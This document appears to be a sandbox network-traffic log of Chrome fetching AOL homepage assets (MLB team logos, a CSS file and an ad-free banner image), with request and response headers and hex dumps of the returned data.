2024-05-23 22:34:51 UTC	934	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJrvY8puwJEhEpd3DohzHEQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fdodgers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=f234883edd21ac8f45d6b4c4e4a1892c255489be HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1129	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500369 Cache-Control: public, max-age=2592000 Cache-Tag: 265504267967767364376012111407754448708,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21952-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 103 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 265504267967767364376012111407754448708,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "738e1a6168b92155e201c7e4a0cc1d24" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT Server: ECAcc (lhd/359A) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1503,owidth=50,oheight=50,obytes=1549,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21948-LGA X-Timer: S1711411322.462052,VS0,VE83 Content-Length: 1503 Connection: close
2024-05-23 22:34:51 UTC	1503	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 bb 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff ff ff ff ff ff ff ff ff ff ff ff f7 fa fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fb fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 09 80 bc ff ff ff ff ff ff ff ff ff 0a Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.6	49902	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FQB5S6jzVrGi9dzZjpgiEiQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Ftigers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=9656c02d98e17ffd3d0b171bf05f51d4062ee06e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1502	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1906521 Cache-Control: public, max-age=2592000 Cache-Tag: 500259006421552715598062688995501844874,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21944-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 500259006421552715598062688995501844874,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e9420d01fe6ef05a9d5d321a8f54946f" Expiration: expiry-date="Fri, 26 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Jan 2024 05:45:21 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1906,owidth=50,oheight=50,obytes=2097,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21951-LGA X-Timer: S1711400370.261490,VS0,VE68 Content-Length: 1906 Connection: close
2024-05-23 22:34:51 UTC	1906	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff d8 dd e4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ee f0 f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 f9 ff ff ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e0 e4 e9 ff ff ff f5 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fd e0 e5 ea ff ff ff ea ed f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ff ff ff ff ff ff ff ff f3 f5 f7 ff ff ff e4 e8 ec ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.6	49903	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fuf3lXihrOQmBeoYkwwc9Aw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Forioles_wbg.png&client=76f99bdb8f78cd44cc0b&signature=458c85b0633896610d7e3d8d0612912638fe16df HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895581 Cache-Control: public, max-age=2592000 Cache-Tag: 446081768626103144087696126046698926685,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000155-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 446081768626103144087696126046698926685,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1b92903762466100340083c301a95db7" Expiration: expiry-date="Tue, 06 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 07 Feb 2024 13:40:11 GMT Server: ECAcc (lhd/35D0) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2169,owidth=50,oheight=50,obytes=2884,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100119-IAD X-Timer: S1711411311.831981,VS0,VE1 Content-Length: 2169 Connection: close
2024-05-23 22:34:51 UTC	2169	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff ff ff ff ff fe fb e5 db ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 87 39 27 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff fd fc ff ff ff ff ff ff f9 d9 ca ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fc ee e7 ff ff ff fa e1 d6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd f5 f1 ff ff ff fd f3 ee fe f9 f7 fe f8 f5 ff ff ff ff ff ff fd f5 f2 ff ff ff f9 db cd ff ff ff ff ff ff ff ff ff f6 c9 b5 ff fb fa fd f6 f3 ff ff ff ff fe fd fc ed e6 87 39 27 f7 d0 be fb ea e2 87 39 27 87 39 27 ff ff ff fc eb e4 87 Data Ascii: PNGIHDR22)xPLTEGpL9'9'9'9'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.6	49905	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	936	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FuEwpYfoMP9FJDfHYpyaFNA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190402%2F500x500%2Fnationals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=bda6a08982f2e713e93fe0f7e8ba10d39c3c7dc6 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1141	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2513536 Cache-Control: public, max-age=2592000 Cache-Tag: 229822453761295167667135199919811573399,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000022-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 229822453761295167667135199919811573399,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "0456bba74094b70993b79c05054f0e8e" Expiration: expiry-date="Sat, 31 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 03 Mar 2024 09:39:23 GMT Server: ECAcc (lhd/370C) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1697,owidth=50,oheight=50,obytes=1795,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100167-IAD X-Timer: S1711398156.831855,VS0,VE136 Content-Length: 1697 Connection: close
2024-05-23 22:34:51 UTC	1697	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 85 50 4c 54 45 47 70 4c ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 02 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.6	49906	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	614	OUT	GET /aa/templates/widget/bgImageStickyFooter/main.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: eybJSs69pswM853SwwqfekRm6SaLKWVGp+d8mIBRsIxlaJYSTcwndhkHUhoZ6RO1Bp3eTzkcsNU= x-amz-request-id: NZ5AJCT538G807GX Date: Thu, 23 May 2024 22:31:48 GMT Last-Modified: Wed, 20 Dec 2023 22:22:04 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 x-amz-version-id: DhGfdYfaoASz5ubmcLDJ.qnV0_uWaRLf Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 701 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "0207fb58bfd0359f586c29f0a0bc8a9b" Age: 185 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:51 UTC	701	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 62 67 2d 69 6d 61 67 65 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 7d 0a 2e 63 74 61 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 69 6d 67 5b 73 72 63 3d 22 22 5d 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 64 69 76 23 43 6f 6e 74 65 6e 74 5f 52 65 67 69 6f 6e 20 7b 0a 09 74 Data Ascii: @charset "UTF-8";body {margin: 0;overflow: hidden;}.bg-image {width: 100%;vertical-align: middle;}.cta-container {display: inline-block;border: 1px solid #ccc;position: relative;}img[src=""] {display: none;}div#Content_Region {t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.6	49907	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	674	OUT	GET /aa/aol/homepage/stickyFooter/adfree/AdFree_SayGoodbyeV2_1x.jpg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	805	IN	HTTP/1.1 200 OK x-amz-id-2: efx5kxtRNB02QytdpRChStI/nG8z0I92jzvy/vR0IKUQJ5peyTrVP/gHj/Fpkt7xUaWYJ8DXW9I= x-amz-request-id: Y4434ZTGTFQNNST1 Date: Thu, 23 May 2024 22:21:51 GMT Last-Modified: Mon, 11 Sep 2023 19:32:23 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 x-amz-version-id: Ku5dtK7t_rO0fjr.MzhvSNwYCSW9LhxS Accept-Ranges: bytes Content-Type: image/jpeg Server: ATS Content-Length: 12180 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "74f7c49c7421783a21f05158e9de7cd7" Age: 781 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:51 UTC	790	IN	Data Raw: ff d8 ff ee 00 21 41 64 6f 62 65 00 64 80 00 00 00 01 03 00 10 03 02 03 06 00 00 00 00 00 00 00 00 00 00 00 00 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c2 00 11 08 00 64 03 41 03 01 22 00 02 11 01 03 11 01 ff c4 00 e7 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 06 03 04 05 07 08 02 01 01 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 10 00 01 04 02 01 03 02 04 05 04 Data Ascii: !AdobeddA"
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 00 01 86 35 36 6a 27 3a 4c 3e 5d 0a 9e 97 3f 35 f0 97 44 76 b6 a9 37 eb 57 4a 51 28 00 03 c9 1d b8 ab e4 ba c4 67 3c 98 b5 cf a3 e5 ae 53 c9 63 ef e5 c9 4e d2 b5 f9 86 bc a7 e4 a3 9b b1 aa 58 53 bf a6 7d a3 57 e1 56 ee d2 90 f5 56 81 91 c7 5d f8 29 db 5c 5d 98 fb 9a 15 8f 54 7c 7a 2f b1 f9 0c 79 5f e5 d7 83 0f 79 5b e1 56 cf 27 6e 58 dd 7b b4 29 fc ad 76 5c d9 d6 c7 15 6a 53 a6 67 c0 04 33 03 9e c0 fa 2e 08 6c 61 9c 62 71 1e b4 37 73 15 30 3e 2d 5c dd 5c 25 33 34 c2 56 95 5c cc 73 dc c6 5f ee 29 59 b9 bc c0 fa bd 33 77 58 1a 38 f2 5f e1 eb d0 da d6 0c 94 d8 f7 56 b7 5e 63 d1 05 2c 00 00 00 f3 e8 53 a8 14 fe fb 16 cb 90 a5 54 50 ab e8 00 03 cf a1 63 f7 01 58 ca d0 b3 f0 48 ec fd 7c 16 d8 ff 00 a6 62 d2 b7 d2 a5 c4 6b 38 7a c7 da d1 24 17 18 6b d2 a7 cc 5d Data Ascii: 56j':L>]?5Dv7WJQ(g<ScNXS}WVV])\]T\|z/y_y[V'nX{)v\jSg3.labq7s0>-\\%34V\s_)Y3wX8_V^c,STPcXH\|bk8z$k]
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 10 6c 5f fc c8 35 4b 50 5b 4c ca 9d 94 59 fa 5d 51 75 d8 be 56 69 d7 9e 87 54 b3 cf b4 43 a7 db 44 99 17 41 26 3e 94 66 86 4a 58 16 6a b6 b9 56 63 a3 36 58 32 e8 d7 59 95 7b 15 38 b4 b4 0d aa d8 fb b2 c9 5b bd d8 18 15 01 23 05 82 ac 4f 1c 7e bd 4f 26 32 8d 49 05 2e bf 5c f2 f6 e0 ec 20 9a 74 64 d1 57 48 bb cc 19 6a a6 4f 98 a8 55 0b 33 96 e1 35 a9 d0 ae 58 2e 9a 52 18 f8 b4 f2 6c f8 e8 cd 10 a1 2a 9f 67 da 8b 58 8b 55 6c 31 6c 60 ea 67 03 c2 ff 00 57 4b 8e 1e 2e e4 ee 37 c2 e7 f7 4f c3 8a fb 5f a9 e5 43 5e c8 12 03 c9 58 3f 12 99 f7 03 6c 87 e2 d7 c5 4e b9 5b 4d 4a 83 72 b6 85 94 0c fc 5b 00 4a 77 f9 4f a6 16 a9 5e 04 bc 29 45 a9 97 96 3c 60 f1 71 be 6e d5 af f3 1f 31 30 62 cb 39 eb 39 54 af 3a 63 f0 17 3f ba 7c 5c 0c 51 a6 fd 14 41 90 b8 7e 88 af b5 fa Data Ascii: l_5KP[LY]QuViTCDA&>fJXjVc6X2Y{8[#O~O&2I.\ tdWHjOU35X.Rl*gXUl1l`gWK.7O_C^X?lN[MJr[JwO^)E<`qn10b99T:c?\|\QA~
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: d3 d4 fd ad 26 22 ca 18 b0 e3 e1 f3 3f 71 01 39 d6 9b 8e 85 4d d9 e4 f8 ed 8e 3b 11 10 93 0b 51 c4 75 f8 86 3a e9 fc 88 5d a8 3b f3 a6 44 43 8e cf 0e e2 d8 88 84 b1 ab ed d4 b6 8f d2 c2 3f d9 bd 53 2c 75 d5 98 88 b6 50 72 a1 7f d1 18 26 63 7c 8d dd c8 9f ed 27 f7 76 17 53 f7 48 01 09 d4 5a 8f 46 1a 7e a5 13 b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 44 ed ef 77 7f 5b bf ff da 00 08 01 03 02 06 3f 00 f5 6a 8e 4d 75 26 ba 93 5d 49 ae a4 d7 52 6b a9 35 d4 9a ea 4d 75 26 ba 93 5d 49 af dd 5e 67 57 66 e6 71 f9 b5 3d 16 ab 52 ad 56 f9 7a 23 d2 dd d3 e6 75 76 55 c5 f4 ce 9a 56 7f 8e 52 5a 0d 3f 28 ff 00 26 7f e5 b5 35 07 df 1c 46 93 c9 cb 2f 10 6c 46 2c 14 f7 05 46 bb 71 c7 76 e9 7e 34 22 42 e4 Data Ascii: &"?q9M;Qu:];DC?S,uPr&c\|'vSHZF~Q;5Q;5Q;5Q;5Q;5Dw[?jMu&]IRk5Mu&]I^gWfq=RVz#uvUVRZ?(&5F/lF,Fqv~4"B
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: b7 55 4d a2 69 65 25 c6 b6 7c e7 cd e1 8d 73 21 2a 58 c9 1b 4a 62 20 46 23 32 32 23 e1 e1 c4 ee 5b 57 b5 17 7b a5 d2 5a 30 c1 2b 59 1b 33 89 2c 89 75 e9 0d b8 fe cb 79 9e 6f 1e cf ec 9b 45 cc ed cc de 02 1e fb 91 8c c8 42 46 aa 03 3c fa bc c2 fa bc 59 5b ee 17 93 b8 1c 6d c7 2a b9 31 80 39 5e 6e c8 5d 01 c2 46 0c d4 e3 f2 31 b8 d8 6f db f5 d7 b3 f7 20 d2 8d b8 61 43 e1 74 f3 28 51 b7 cb 12 11 1e 33 2a 3e 7b 0a 82 66 b9 40 0c 4b ba 38 e7 2e f3 83 83 8f ad c1 8f 6a 6c ee 2e 09 96 f6 06 11 68 b9 cb 25 c4 eb 55 4e 51 57 60 71 79 bf b3 7c 65 af e1 a2 e3 4a c1 61 9b b4 47 c4 b4 ee 19 1f ad e1 d4 14 f9 bc 59 6e 17 b3 55 d1 c1 83 4e 22 22 a9 59 9a 75 29 1e 1e 31 0a 8b 08 db ee ee 4d 9b 46 ee 82 9b 45 94 0d 2b 70 c6 64 35 74 33 ac af fe ab 1e d4 7b 50 4e 96 ed 96 Data Ascii: UMie%\|s!XJb F#22#[W{Z0+Y3,uyoEBF<Y[m19^n]F1o aCt(Q3*>{f@K8.jl.h%UNQW`qy\|eJaGYnUN""Yu)1MFE+pd5t3{PN
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 00 88 7d ee 2e 59 76 f8 ba dc f7 16 eb de bc 63 21 92 e2 98 05 f4 0f 00 93 18 5f c4 c7 b3 aa 4b 34 5a cb f8 15 b6 23 3a 08 a5 62 0c a6 7a d4 17 16 2d 37 bf 69 ae 6d 4d 7b 58 cc 59 a6 d2 0a 20 8a 6a e6 b2 1a 3c bf 7e be bf 63 1b b1 ed 17 56 43 61 bd 36 5a db 87 81 95 c2 a0 a5 87 92 56 14 ac cc 35 8a 9d 56 69 7e a6 37 7f 67 35 d0 6f be 79 b2 d9 b5 1d 10 05 08 05 eb f2 aa 06 7d dc ab d3 06 63 61 5d 9d c2 93 bd 7b 3e 2b d1 6c d5 2a 22 08 5d 71 55 15 77 a8 5b 16 46 9c 6d 1e d0 ef 37 76 8c 3b 18 60 ba dd 10 60 20 24 04 0b f0 f5 89 eb 30 cd 9c f3 69 ab e6 f1 79 b6 43 34 a6 ed 26 a8 66 59 d3 25 19 41 53 d1 56 3f fe 6e ea ef 6f b7 b4 b5 88 9b 6d 11 64 93 48 4a b1 8b b6 10 d2 b5 f4 f5 92 9d 5d 4e 